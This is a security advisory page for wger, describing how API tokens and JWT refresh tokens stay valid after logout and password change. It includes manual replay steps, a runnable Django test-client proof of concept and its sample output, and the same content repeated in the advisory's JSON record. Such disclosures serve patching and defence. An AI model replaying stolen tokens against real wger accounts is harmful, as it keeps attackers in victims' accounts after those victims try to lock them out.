GHSA-V3X9-6GG8-C2C9

Vulnerability from github – Published: 2026-10-07 13:59 – Updated: 2026-10-07 13:59
VLAI
Summary
wger: API credentials remain valid after logout/password change
Details

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials: - Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens. - Password change updates the password hash, but does not revoke: - existing DRF tokens stored in authtoken_token - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
  3. POST /api/v2/token with username/password.
  4. Obtain a DRF token (API key):
  5. use /user/api-key (or create token via admin/DB in a test environment).
  6. Change password:
  7. POST /<lang>/user/password/change with old_password, new_password1, new_password2.
  8. Prove token replay:
  9. Call a private endpoint using the old DRF token (should still return 200).
  10. Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
        "/api/v2/token",
        {"username": username, "password": new_pw},
        format="json",
    )

    # DRF token remains valid (private endpoint still accessible)
    api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
    r_drf = api.get("/api/v2/weightentry/")

    # Old refresh remains valid (still mints a new access token)
    api.credentials()
    r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

    out = {
        "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
        "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
        "jwt_obtain_oldpw_before_change": r_obtain.status_code,
        "password_change_status": r_pw.status_code,
        "jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
        "jwt_obtain_newpw_after_change": r_obtain_new.status_code,
        "drf_token_private_api_after_change": r_drf.status_code,
        "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
        "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
    }

    print(json.dumps(out, indent=2))


if __name__ == "__main__":
    main()

Expected output (example from a successful run):

{
  "jwt_refresh_lifetime_seconds": 86400,
  "jwt_access_lifetime_seconds": 900,
  "jwt_obtain_oldpw_before_change": 200,
  "password_change_status": 302,
  "jwt_obtain_oldpw_after_change": 401,
  "jwt_obtain_newpw_after_change": 200,
  "drf_token_private_api_after_change": 200,
  "jwt_refresh_with_old_refresh_after_change": 200,
  "jwt_refresh_response_keys": [
    "access"
  ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access. - Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used). - Integrity: attacker can perform any API mutations permitted to the victim’s account.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T13:59:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA vulnerability exists in the authentication/session lifecycle of `wger` where **bearer-style API credentials** remain valid **after a user logs out and after a user changes their password**. An attacker who steals a victim\u2019s **DRF authtoken** (`Authorization: Token ...`) or **JWT refresh token** can continue to access protected `/api/v2/*` endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).\nlifecycle events do not revoke these credentials:\n- **Logout** (`/user/logout`) only clears the Django session cookie via `django_logout()` and does not revoke API tokens.\n- **Password change** updates the password hash, but does not revoke:\n  - existing DRF tokens stored in `authtoken_token`\n  - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.\n\n\n#### Vulnerable Files\n\n- `wger/wger/core/views/user.py` (logout implementation)\n- `wger/settings/settings_global.py` (DRF auth configuration, SimpleJWT defaults)\n- `wger/settings/main.py` (commonly used production defaults for JWT lifetimes)\n- `wger/wger/utils/api_token.py` (authtoken rotation is manual only)\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account.\n2. Obtain a JWT refresh token:\n   - `POST /api/v2/token` with username/password.\n3. Obtain a DRF token (API key):\n   - use `/user/api-key` (or create token via admin/DB in a test environment).\n4. Change password:\n   - `POST /\u003clang\u003e/user/password/change` with `old_password`, `new_password1`, `new_password2`.\n5. Prove token replay:\n   - Call a private endpoint using the *old* DRF token (should still return `200`).\n   - Call `POST /api/v2/token/refresh` using the *old* refresh token (should still return `200` and a new access token).\n\n#### Automation PoC (Python)\n\nCopy/paste runnable PoC (Django in-process test client; no dev server required):\n\n```python\nimport json\nimport os\n\n\ndef main() -\u003e None:\n    \"\"\"\n    PoC for IDENTITY-VULN-01:\n    Proves that password change does not revoke:\n      - DRF authtoken (Authorization: Token \u003ckey\u003e)\n      - JWT refresh tokens (still mint access tokens)\n\n    This PoC runs entirely in-process using Django\u0027s test client + DRF APIClient.\n    It does not require running the dev server.\n    \"\"\"\n\n    os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"settings.main\")\n    # Ensure we use the local sqlite DB path used during setup\n    os.environ.setdefault(\"DJANGO_DB_DATABASE\", \"db.sqlite3\")\n    os.environ.setdefault(\"DJANGO_MEDIA_ROOT\", \"media\")\n\n    import django\n\n    django.setup()\n\n    from django.conf import settings\n    from django.contrib.auth.models import User\n    from django.test import Client\n    from rest_framework.authtoken.models import Token\n    from rest_framework.test import APIClient\n\n    username = \"pwchange_user_poc\"\n    old_pw = \"OldPassw0rd!\"\n    new_pw = \"NewPassw0rd!\"\n\n    # Create a clean user + DRF token\n    User.objects.filter(username=username).delete()\n    user = User.objects.create_user(username=username, password=old_pw)\n    Token.objects.filter(user=user).delete()\n    drf_token = Token.objects.create(user=user).key\n\n    api = APIClient()\n\n    # Obtain JWT tokens with old password (proof baseline)\n    r_obtain = api.post(\"/api/v2/token\", {\"username\": username, \"password\": old_pw}, format=\"json\")\n    refresh = getattr(r_obtain, \"data\", {}).get(\"refresh\")\n\n    # Change password through the actual password change endpoint\n    web = Client()\n    web.force_login(user)\n    r_pw = web.post(\n        \"/en/user/password/change\",\n        data={\"old_password\": old_pw, \"new_password1\": new_pw, \"new_password2\": new_pw},\n        follow=False,\n    )\n\n    # Old password should fail now (sanity check)\n    r_obtain_old = api.post(\n        \"/api/v2/token\",\n        {\"username\": username, \"password\": old_pw},\n        format=\"json\",\n    )\n\n    # New password should work\n    r_obtain_new = api.post(\n        \"/api/v2/token\",\n        {\"username\": username, \"password\": new_pw},\n        format=\"json\",\n    )\n\n    # DRF token remains valid (private endpoint still accessible)\n    api.credentials(HTTP_AUTHORIZATION=f\"Token {drf_token}\")\n    r_drf = api.get(\"/api/v2/weightentry/\")\n\n    # Old refresh remains valid (still mints a new access token)\n    api.credentials()\n    r_refresh = api.post(\"/api/v2/token/refresh\", {\"refresh\": refresh}, format=\"json\")\n\n    out = {\n        \"jwt_refresh_lifetime_seconds\": int(settings.SIMPLE_JWT[\"REFRESH_TOKEN_LIFETIME\"].total_seconds()),\n        \"jwt_access_lifetime_seconds\": int(settings.SIMPLE_JWT[\"ACCESS_TOKEN_LIFETIME\"].total_seconds()),\n        \"jwt_obtain_oldpw_before_change\": r_obtain.status_code,\n        \"password_change_status\": r_pw.status_code,\n        \"jwt_obtain_oldpw_after_change\": r_obtain_old.status_code,\n        \"jwt_obtain_newpw_after_change\": r_obtain_new.status_code,\n        \"drf_token_private_api_after_change\": r_drf.status_code,\n        \"jwt_refresh_with_old_refresh_after_change\": r_refresh.status_code,\n        \"jwt_refresh_response_keys\": sorted(list(getattr(r_refresh, \"data\", {}).keys())),\n    }\n\n    print(json.dumps(out, indent=2))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nExpected output (example from a successful run):\n\n```json\n{\n  \"jwt_refresh_lifetime_seconds\": 86400,\n  \"jwt_access_lifetime_seconds\": 900,\n  \"jwt_obtain_oldpw_before_change\": 200,\n  \"password_change_status\": 302,\n  \"jwt_obtain_oldpw_after_change\": 401,\n  \"jwt_obtain_newpw_after_change\": 200,\n  \"drf_token_private_api_after_change\": 200,\n  \"jwt_refresh_with_old_refresh_after_change\": 200,\n  \"jwt_refresh_response_keys\": [\n    \"access\"\n  ]\n}\n```\n\n### Impact\nA user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker\u0027s copy of the token remains fully valid.\nIf an attacker obtains a victim\u2019s API credential once, the victim\u2019s primary remediation actions (**logout** and **password change**) do not terminate attacker access.\n- **Confidentiality:** attacker retains access to victim\u2019s private API data (depends on endpoints used).\n- **Integrity:** attacker can perform any API mutations permitted to the victim\u2019s account.",
  "id": "GHSA-v3x9-6gg8-c2c9",
  "modified": "2026-10-07T13:59:11Z",
  "published": "2026-10-07T13:59:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-v3x9-6gg8-c2c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/releases/tag/2.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: API credentials remain valid after logout/password change"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…